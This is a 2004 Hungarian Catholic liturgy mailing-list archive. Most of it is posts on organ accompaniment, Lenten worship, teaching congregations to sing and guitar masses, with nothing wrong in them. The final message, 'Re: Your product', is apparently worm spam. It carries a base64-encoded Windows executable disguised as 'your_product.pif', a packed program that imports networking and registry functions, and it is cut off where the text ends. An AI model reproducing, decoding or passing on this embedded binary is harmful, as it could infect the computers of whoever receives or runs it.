Az ember =E9rz=E9kei is r=E9szt vesznek a = liturgi=E1ban. Ez val=F3s tapasztalat. A gyerekkor az egyik legjobb p=E9lda: eml=E9kezz=FCnk csak = vissza, hogy micsoda =E9lm=E9ny volt pld.a hamvaz=E1s, az =E9telszentel=E9s = H=FAsv=E9t reggel (v=E1rosban laktam!!!) vagy b=E1rmilyen egy=E9b „elt=E9r=F5” = cselekm=E9ny vagy jel. Az orgon=E1l=E1s visszafogotts=E1ga igenis jel, igenis = „h=EDr=E9rt=E9k=FB”! Csak annyir=F3l sz=F3l: hogy ember legy=E9l csendesebb. A nagyb=F6jti id=F5 = val=F3ban nem a szomorkod=E1s ideje, de igenis ideje a k=E9sz=FCletnek, a = b=FBnb=E1natnak. (ezen a t=E9ren lehet, hogy m=E9gis van mit szomorkodnunk...). =D6r=F6m=FCnk ott van, = hogy megv=E1ltottak minket, hogy bocs=E1natot nyernek b=FBneink.

Tan=EDtv=E1nyaimnak sz=E1mtalanszor ism=E9tlem, hogy = az =E9neket nem a sarokban megb=FAjva csukott red=F5nyben orgon=E1lva =E9s =E9nekelve = (sic!) kell k=EDs=E9rgetni, hanem vezetni kell. Meg is rovom =F5ket,ha = v=E9letlen=FCl „lebuknak”. Saj=E1t tapasztalat (mivel nem a lass=FA =E9nekvezet=E9sr=F5l vagyok = h=EDres), hogy ha b=E1rki m=E1s helyettes=EDt azt mondj=E1k a h=EDvek: bizonytalans=E1gban = =E9rezt=FCk magunkat. A probl=E9ma term=E9szetesen ott van, hogy annyira kell tudni = orgon=E1lni, hogy merj=FCnk hallhat=F3an j=E1tszani. Annyira kell tudni orgon=E1lni, hogy = egy ma m=E1r nem j=F3 l=FCktet=E9sben megharmoniz=E1lt =E9neket tudjunk mondjuk = negyedel=E9s helyett f=E9lkotta =E9rt=E9k=FB harm=F3ni=E1kkal k=EDs=E9rni. Tess=E9k kipr=F3b=E1lni, az = emberek ritmus=E9rz=E9ke nem pocs=E9k: azt csak mi tessz=FCk azz=E1!

S=FAlyos elmarad=E1s van az =E9nekk=EDs=E9retek = =FAj=EDt=E1sa ter=E9n, s=FAlyos elmarad=E1s van a k=E1ntorok, orgonist=E1kkal szembeni szakmai = elv=E1r=E1sok =E9s az =E9rte j=E1r=F3=A0 fizets=E9gek ter=E9n, de mondjuk el azt is, hogy m=E9g = mindig vannak papok is, akik nem engednek zsolt=E1rt =E9nekelni, m=E9g mindig k=F6telezik a = k=E1ntort arra, hogy ordin=E1rium helyett n=E9p=E9neket =E9nekeljen vagy ne merjen Glori=E1t = =E9nekelni, majd elszavalj=E1k... =C9s ehhez nem kell az =FAt v=E9gi faluba menni.... = (ott ugyanis sokszor szebb a =A0liturgia, mint n=E9h=E1ny v=E1rosi = helyen.)

Kell =E9s lehets=E9ges azonban =E9neket tan=EDtani az = embereknek, lehets=E9ges nevelni =F5ket. Csak elhivatotts=E1g k=E9rd=E9se. =

Ne felejts=FCk el azt sem, hogy volt az a bizonyos 40 = =E9v is. Leszoktak a sz=EDnvonalr=F3l, mert az =F6regek kihaltak, helyett=FCk meg = =F6r=FCltek, hogy valaki olyan oda=FClt az orgon=E1hoz, aki valaha n=E9h=E1ny =E9vet = zongor=E1zott. Ez a helyzet sajnos konzerv=E1l=F3dott. Aki meg k=E9pzett muzsikus, ebb=F5l = ugyan meg nem =E9l. Ez a gondolatmenet messze vezet azonban.

A git=E1ros mis=E9kr=F5l Kov=E1cs Ervin sz=EDvemb=F5l = sz=F3lt. Azt szoktam mondani: mi k=FCl=F6nb=F6zteti meg a git=E1ros =E9nekeket egy vil=E1gi = egy=FCttes sz=E1mait=F3l? Semmi! Mert ha mondjuk angolul =E9nekeln=E9nek, akkor a zen=E9j=E9b=F5l bizony = nem der=FClne ki, hogy nem vulg=E1ris, net=E1n =E9rz=E9kis=E9get sugall=F3 dalr=F3l =A0van = sz=F3, azaz a zene prof=E1n. (Term=E9szetesen ezzel nem azt mondtam, hogy a n=E9p=E9nekek = t=F6k=E9letes sz=F6veg=FBek =E9s dallam=FAak! Ez azonban k=FCl=F6n t=E9ma = lenne.)

Hossz=FAra ny=FAltam, eln=E9z=E9st k=E9rek. = =A0=A0

Mindenkinek sz=E9p,csendes nagyb=F6jt=F6t = k=EDv=E1nok!

Bednarik Anaszt=E1zia

 

 

 

Bednarik = Anaszt=E1zia

 

------=_NextPart_000_0000_01C4021F.F9CB2BA0-- From mrkota@freemail.hu Thu Mar 4 22:22:58 2004 From: mrkota@freemail.hu (=?iso-8859-2?Q?Kos=F3czki_Tam=E1s?=) Date: Thu, 4 Mar 2004 23:22:58 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_nagyb=F6jt?= References: Message-ID: <01f201c40237$81aa6060$913a95c2@orgona> This is a multi-part message in MIME format. ------=_NextPart_000_01EB_01C4023F.A147F7E0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves Kov=E1cs Ervin, Bednarik Anaszt=E1zia, K=E9ri Zolt=E1n, Decsi = B=E1lint =E9s minden listatag! =D6r=F6mmel olvastam az elm=FAlt id=F5szak =EDr=E1sait! B=E1rcsak minden = pap =FAgy gondolkozna, mint Ervin Atya! Bednarik Anaszt=E1zia sorait is =F6r=F6mmel olvastam, hogy a "magasr=F3l = kioktatott" magyarorsz=E1gi orgonista=20 szakm=E1b=F3l v=E9gre m=E1s is felelt, a "nagyb=F5jti mis=E9kben = koncertez=F5" k=E1ntoroknak. Nagyon j=F3, hogy a direkt=F3rium/misek=F6nyv haszn=E1lat=E1t emlegeti, = hisz Adoremus n=E9lk=FCl azokb=F3l=20 is lehet sz=E9pen, mindenr=F5l t=E1j=E9koz=F3dni. (N=E1lunk p=E9ld=E1ul = az irodista visszak=FCldte az els=F5 csomag=20 Adoremust, azzal, hogy ezt =FAgyse fogja senki megvenni, =E9s = gazdas=E1gtalan lesz....) Sajnos a pl=E9b=E1nosnak az=F3ta se hi=E1nyzik.... Nagyon egyet=E9rtek azzal, hogy a n=E9pet igenis KELL =E9nekelni = tan=EDtani! A h=EDvek szeretnek =E9nekelni.=20 Ha kott=E1val kivet=EDti az ember, m=E9g k=F6nnyebb az = =E9nektan=EDt=E1s! De butas=E1gokat, rossz sz=F6vegeket nem =E9nekelnek a h=EDvek! Akkor = ink=E1bb hallgatnak. N=E1lunk is van "git=E1ros mise", minden h=F3napban egyszer. Az els=F5 alkalommal szeptemberben a templomkapuban legh=E1tul = meg=E1lltam, hogy belehallgassak az "=FCgyk=F6d=E9s=FCkbe". J=F3p=E1r ember (id=F5sebb), a kezd=F5 git=E1roz=E1s alatt KIMENT!!! a = templomb=F3l....no comment. -Sajnos abban is nagyon igaza van a M=FBv=E9szn=F5nek, hogy a = zenem=FBv=E9szeti sz=EDnvonal =E9rt=E9kel=E9s=E9r=F5l leszok=F3ban van a = Magyar Egyh=E1z. Van sok pl=E9b=E1nos, aki nem gondolja =E1t, hogy ha egy szakk=E9pzett = ember, karnagy/egyh=E1zzen=E9sz/m=FBv=E9szdiplom=E1s orgonista=20 =FCl az orgon=E1hoz, =E9s n=EDv=F3s zenei =E9letet vezet a templomban, = akkor lehet hogy t=F6bben fognak odaj=E1rni, jobban fognak =E9nekelni = mint kor=E1bban....stb. =C9s ha k=F3rust is vezet, akkor az, az = egyh=E1zk=F6zs=E9g els=F5 sz=E1m=FA =E9s tal=E1n legstabilabb feln=F5tt=20 k=F6z=F6ss=E9g=E9v=E9 v=E1lhat, akikre mindig lehet majd sz=E1m=EDtani! = (=C9s nem csak az =E9nekl=E9sben....) De a m=E1sik oldala is nagy trag=E9dia ennek az =FCgynek, hogy a = k=E9pzett muzsikus az =E1llami b=E9rkategoriz=E1l=E1s minimum=E1ra sem sz=E1m=EDthat az = egyh=E1zi szolg=E1latban...(b=E1r a munka k=E1ntork=E9nt l=E1tszatra=20 kevesebb, de ha igaz=E1n j=F3l csin=E1lja valaki akkor val=F3j=E1ban = sokkal t=F6bb....) =C9s a keny=E9r a boltban a k=E1ntornak se olcs=F3bb... >Decsi B=E1lint =EDrja hogy: "De m=E1r rockkoncerten orgon=E1t = (szintetiz=E1tor form=E1ban) is hallottunk, az nem lehet prof=E1n = hangszer?" -Tan=E1rk=E9nt minden orgonista n=F6vend=E9kemnek azt tan=EDtom: AZ = ORGONA A S=CDPN=C1L KEZD=D5DIK!!! A fent eml=EDtett szintetiz=E1tor-imit=E1l=E1s nagyon t=E1vol van az = orgona hangj=E1t=F3l! =C9s val=F3sz=EDn=FBleg az=20 orgonaimit=E1ci=F3 sokkal ritk=E1bb a rockkoncerten, mint a git=E1r, = basszusgit=E1r, dob...stb. -J=F3l tudom, hogy a hivatalos egyh=E1zi el=F5=EDr=E1s szerint az un. = "elektriumok" (digit=E1lis orgona) haszn=E1lata is=20 tiltott a templomban? =C9rv=E9nyben van m=E9g ez a rendelkez=E9s? = (K=E1ntork=E9pz=F5n m=E9g =FAgy tanultam!) -K=E9ri Zolt=E1n m=E1r t=F6bbsz=F6r utalt a git=E1ros zene megfelel=F5 = hely=E9re: "ki mondta, hogy Istent csak szentmise=20 keret=E9ben lehet dics=F5=EDteni? =C9s: ki tiltotta meg az eml=EDtett = hangszerek haszn=E1lat=E1t szentmis=E9n (liturgi=E1n, templomon stb.) = k=EDv=FCl?" =CDgy van, igaza van! Senki sem tiltja az Istent-dics=F5=EDt=F5 = git=E1roz=E1st a k=F6z=F6ss=E9gi alkalmakon, a t=E1bort=FBz mellett, = k=FCl=F6nf=E9le ima=F3r=E1kon,=20 tal=E1lkoz=F3kon, koncerteken stb...=CDme a sz=E1mos lehet=F5s=E9g, csak = j=F3l kellene =E9lni vele. A szentmis=E9kre pedig biztos hogy m=E9g = Nagymaroson is lehetne olyan introitusokat, communiokat (k=F6nnyebb = =C9E) megtan=EDtani, amit tal=E1n mind a 3000 fiatal =E9nekelne.... (m=E1r ha nem a k=F6nny=FB -sz=F3rakoztat=F3- zene miatt megy oda a = Szentmis=E9re....el=F5re bocs=E1nat, a mag=E1nv=E9lem=E9ny=E9rt, ha = valakit megb=E1ntott.) -Term=E9szetesen bizonyos szinten meg lehet =E9rteni a fiatalok = "k=F6nny=FB-zen=E9l=E9s=E9t", abb=F3l a szempontb=F3l, hogy ha = megn=E9zz=FCk, hogy milyen zenei anyagokkal tal=E1lkoztak. Akiknek a = SZVU! sz=F6vegi h=E1ttere nem volt vonz=F3, (meg a m=E1r oly sokat = emlegetett Mari n=E9ni =E9neke sem) azok pr=F3b=E1ltak valamit = csin=E1lni, a saj=E1t st=EDlusukban.=20 Tal=E1n HA lettek volna olyan =E9nekek (orgon=E1s) amiket szakemberek = =EDrtak volna, =E9s ezek megfogt=E1k volna sz=F6veg=FCkkel-dallamaikkal = az ifj=FAs=E1got, akkor ma nem kellene arr=F3l besz=E9lni hogy mi=E9rt = nem a helyes a git=E1roz=E1s a mis=E9ken. Mert akkor lehet, hogy a = "sz=F3rakoztat=F3 ir=E1nyzat" k=F6vet=F5inek soha esz=E9be se jutott = volna a szentmis=E9n git=E1rozni. =C9s akkor ma ezek az =E9nekek is sz=F3ln=E1nak a szentmis=E9ken m=E9g = Nagymaroson is, amiket az id=F5s gener=E1ci=F3 =E9s a fiatalok is = egy=FCtt zengen=E9nek, teljes megel=E9ged=E9ssel. Adjon Isten minden = katolikus zeneszerz=F5nek ihletet, k=FCldje hozz=E1juk Szentlelk=E9t, = hogy elj=F6hessen egyszer, ez a most tal=E1n m=E9g ut=F3piak=E9nt = felv=E1zolt boldog j=F6v=F5! =C1ldott nagyb=F5jt=F6t k=EDv=E1nva: Kos=F3czki Tam=E1s ------=_NextPart_000_01EB_01C4023F.A147F7E0 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
 
Kedves Kov=E1cs Ervin, Bednarik Anaszt=E1zia, K=E9ri Zolt=E1n, = Decsi B=E1lint =E9s=20 minden listatag!
 
=D6r=F6mmel olvastam az elm=FAlt id=F5szak =EDr=E1sait! B=E1rcsak = minden pap =FAgy=20 gondolkozna, mint Ervin Atya!
 
Bednarik Anaszt=E1zia sorait is =F6r=F6mmel olvastam, hogy a = "magasr=F3l=20 kioktatott" magyarorsz=E1gi orgonista
szakm=E1b=F3l v=E9gre m=E1s is felelt, a = "nagyb=F5jti mis=E9kben koncertez=F5"=20 k=E1ntoroknak.
Nagyon j=F3,  hogy a direkt=F3rium/misek=F6nyv haszn=E1lat=E1t = emlegeti, hisz=20 Adoremus n=E9lk=FCl azokb=F3l
is lehet sz=E9pen, mindenr=F5l t=E1j=E9koz=F3dni. (N=E1lunk = p=E9ld=E1ul az irodista=20 visszak=FCldte az els=F5 csomag
Adoremust, azzal, hogy ezt =FAgyse fogja senki megvenni, =E9s = gazdas=E1gtalan=20 lesz....)
Sajnos a pl=E9b=E1nosnak az=F3ta se hi=E1nyzik....
Nagyon  egyet=E9rtek azzal,=20 hogy a n=E9pet igenis KELL =E9nekelni tan=EDtani! A h=EDvek szeretnek = =E9nekelni.=20
Ha kott=E1val kivet=EDti az ember, m=E9g k=F6nnyebb az = =E9nektan=EDt=E1s!
De=20 butas=E1gokat, rossz sz=F6vegeket nem =E9nekelnek a h=EDvek! Akkor = ink=E1bb=20 hallgatnak.
N=E1lunk is van "git=E1ros mise", minden h=F3napban=20 egyszer.
Az els=F5 alkalommal szeptemberben a templomkapuban = legh=E1tul=20 meg=E1lltam, hogy belehallgassak az = "=FCgyk=F6d=E9s=FCkbe".
J=F3p=E1r ember (id=F5sebb), a kezd=F5 git=E1roz=E1s alatt = KIMENT!!! a=20 templomb=F3l....no comment.
 
-Sajnos abban is nagyon igaza van a M=FBv=E9szn=F5nek, hogy a = zenem=FBv=E9szeti=20 sz=EDnvonal =E9rt=E9kel=E9s=E9r=F5l leszok=F3ban van a Magyar = Egyh=E1z.
Van sok pl=E9b=E1nos, aki nem gondolja =E1t, hogy ha egy = szakk=E9pzett ember,=20 karnagy/egyh=E1zzen=E9sz/m=FBv=E9szdiplom=E1s orgonista
=FCl az orgon=E1hoz, =E9s n=EDv=F3s zenei =E9letet vezet a = templomban, akkor lehet hogy=20 t=F6bben fognak odaj=E1rni, jobban fognak =E9nekelni mint = kor=E1bban....stb. =C9s ha=20 k=F3rust is vezet, akkor az, az egyh=E1zk=F6zs=E9g els=F5 sz=E1m=FA = =E9s tal=E1n legstabilabb=20 feln=F5tt
k=F6z=F6ss=E9g=E9v=E9 v=E1lhat, akikre mindig lehet majd = sz=E1m=EDtani! (=C9s nem csak az=20 =E9nekl=E9sben....)
De a m=E1sik oldala is nagy trag=E9dia ennek az =FCgynek, hogy a = k=E9pzett muzsikus=20 az
=E1llami b=E9rkategoriz=E1l=E1s minimum=E1ra sem sz=E1m=EDthat az = egyh=E1zi=20 szolg=E1latban...(b=E1r a munka k=E1ntork=E9nt l=E1tszatra
kevesebb, de ha igaz=E1n j=F3l csin=E1lja valaki akkor = val=F3j=E1ban sokkal=20 t=F6bb....)
=C9s a keny=E9r a boltban a k=E1ntornak se olcs=F3bb...
 
>Decsi B=E1lint =EDrja hogy: "De m=E1r rockkoncerten orgon=E1t = (szintetiz=E1tor=20 form=E1ban) is hallottunk, az nem lehet prof=E1n = hangszer?"
-Tan=E1rk=E9nt minden=20 orgonista n=F6vend=E9kemnek azt tan=EDtom: AZ ORGONA A S=CDPN=C1L = KEZD=D5DIK!!!
A fent eml=EDtett szintetiz=E1tor-imit=E1l=E1s nagyon t=E1vol van = az orgona=20 hangj=E1t=F3l! =C9s val=F3sz=EDn=FBleg az
orgonaimit=E1ci=F3 sokkal ritk=E1bb a rockkoncerten, mint a = git=E1r, basszusgit=E1r,=20 dob...stb.
 
-J=F3l tudom, hogy a hivatalos egyh=E1zi el=F5=EDr=E1s szerint az = un. "elektriumok"=20 (digit=E1lis orgona) haszn=E1lata is
tiltott a templomban? =C9rv=E9nyben van m=E9g ez a rendelkez=E9s? = (K=E1ntork=E9pz=F5n m=E9g=20 =FAgy tanultam!)
 
-K=E9ri Zolt=E1n m=E1r t=F6bbsz=F6r utalt a git=E1ros zene = megfelel=F5 hely=E9re: "ki mondta, hogy Istent csak szentmise
keret=E9ben lehet dics=F5=EDteni? =C9s: ki = tiltotta meg az=20 eml=EDtett hangszerek haszn=E1lat=E1t szentmis=E9n (liturgi=E1n, = templomon stb.)=20 k=EDv=FCl?"
=CDgy van, igaza van! Senki sem tiltja az=20 Istent-dics=F5=EDt=F5 git=E1roz=E1st a k=F6z=F6ss=E9gi = alkalmakon, a t=E1bort=FBz mellett,=20 k=FCl=F6nf=E9le ima=F3r=E1kon,
tal=E1lkoz=F3kon, koncerteken stb...=CDme a sz=E1mos = lehet=F5s=E9g, csak j=F3l=20 kellene =E9lni vele. A szentmis=E9kre pedig biztos hogy m=E9g = Nagymaroson is lehetne=20 olyan introitusokat, communiokat (k=F6nnyebb =C9E) megtan=EDtani, amit = tal=E1n mind a=20 3000 fiatal =E9nekelne....
(m=E1r ha nem a k=F6nny=FB -sz=F3rakoztat=F3- zene miatt megy oda a = Szentmis=E9re....el=F5re bocs=E1nat, a mag=E1nv=E9lem=E9ny=E9rt, ha = valakit=20 megb=E1ntott.)
 
-Term=E9szetesen bizonyos szinten meg lehet =E9rteni a fiatalok=20 "k=F6nny=FB-zen=E9l=E9s=E9t", abb=F3l a szempontb=F3l, hogy ha = megn=E9zz=FCk, hogy milyen zenei=20 anyagokkal tal=E1lkoztak. Akiknek a SZVU! sz=F6vegi h=E1ttere = nem volt=20 vonz=F3, (meg a m=E1r oly sokat emlegetett Mari n=E9ni =E9neke sem) = azok pr=F3b=E1ltak=20 valamit csin=E1lni, a saj=E1t st=EDlusukban.
Tal=E1n HA lettek volna olyan =E9nekek (orgon=E1s) amiket = szakemberek=20 =EDrtak volna, =E9s ezek megfogt=E1k volna = sz=F6veg=FCkkel-dallamaikkal az ifj=FAs=E1got,=20 akkor ma nem kellene arr=F3l besz=E9lni hogy mi=E9rt nem a helyes a = git=E1roz=E1s a=20 mis=E9ken. Mert akkor lehet, hogy a "sz=F3rakoztat=F3 ir=E1nyzat" = k=F6vet=F5inek soha=20 esz=E9be se jutott volna a szentmis=E9n git=E1rozni.
=C9s akkor ma ezek az =E9nekek is sz=F3ln=E1nak a szentmis=E9ken = m=E9g Nagymaroson is,=20 amiket az id=F5s gener=E1ci=F3 =E9s a fiatalok is egy=FCtt zengen=E9nek, = teljes=20 megel=E9ged=E9ssel. Adjon Isten minden katolikus zeneszerz=F5nek = ihletet, k=FCldje=20 hozz=E1juk Szentlelk=E9t, hogy elj=F6hessen egyszer, ez a most tal=E1n = m=E9g ut=F3piak=E9nt=20 felv=E1zolt boldog j=F6v=F5!
 
=C1ldott nagyb=F5jt=F6t k=EDv=E1nva:
Kos=F3czki Tam=E1s
------=_NextPart_000_01EB_01C4023F.A147F7E0-- From idozsa@katolikus.hu Fri Mar 5 06:58:46 2004 From: idozsa@katolikus.hu (idozsa@katolikus.hu) Date: Fri, 5 Mar 2004 07:58:46 +0100 Subject: [Liturgia] Re: Your product Message-ID: <200403050658.i256wiOO032656@communio.hcbc.hu> This is a multi-part message in MIME format. ------=_NextPart_000_0011_00003B00.00000FF0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your document is attached. ------=_NextPart_000_0011_00003B00.00000FF0 Content-Type: application/octet-stream; name="your_product.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_product.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 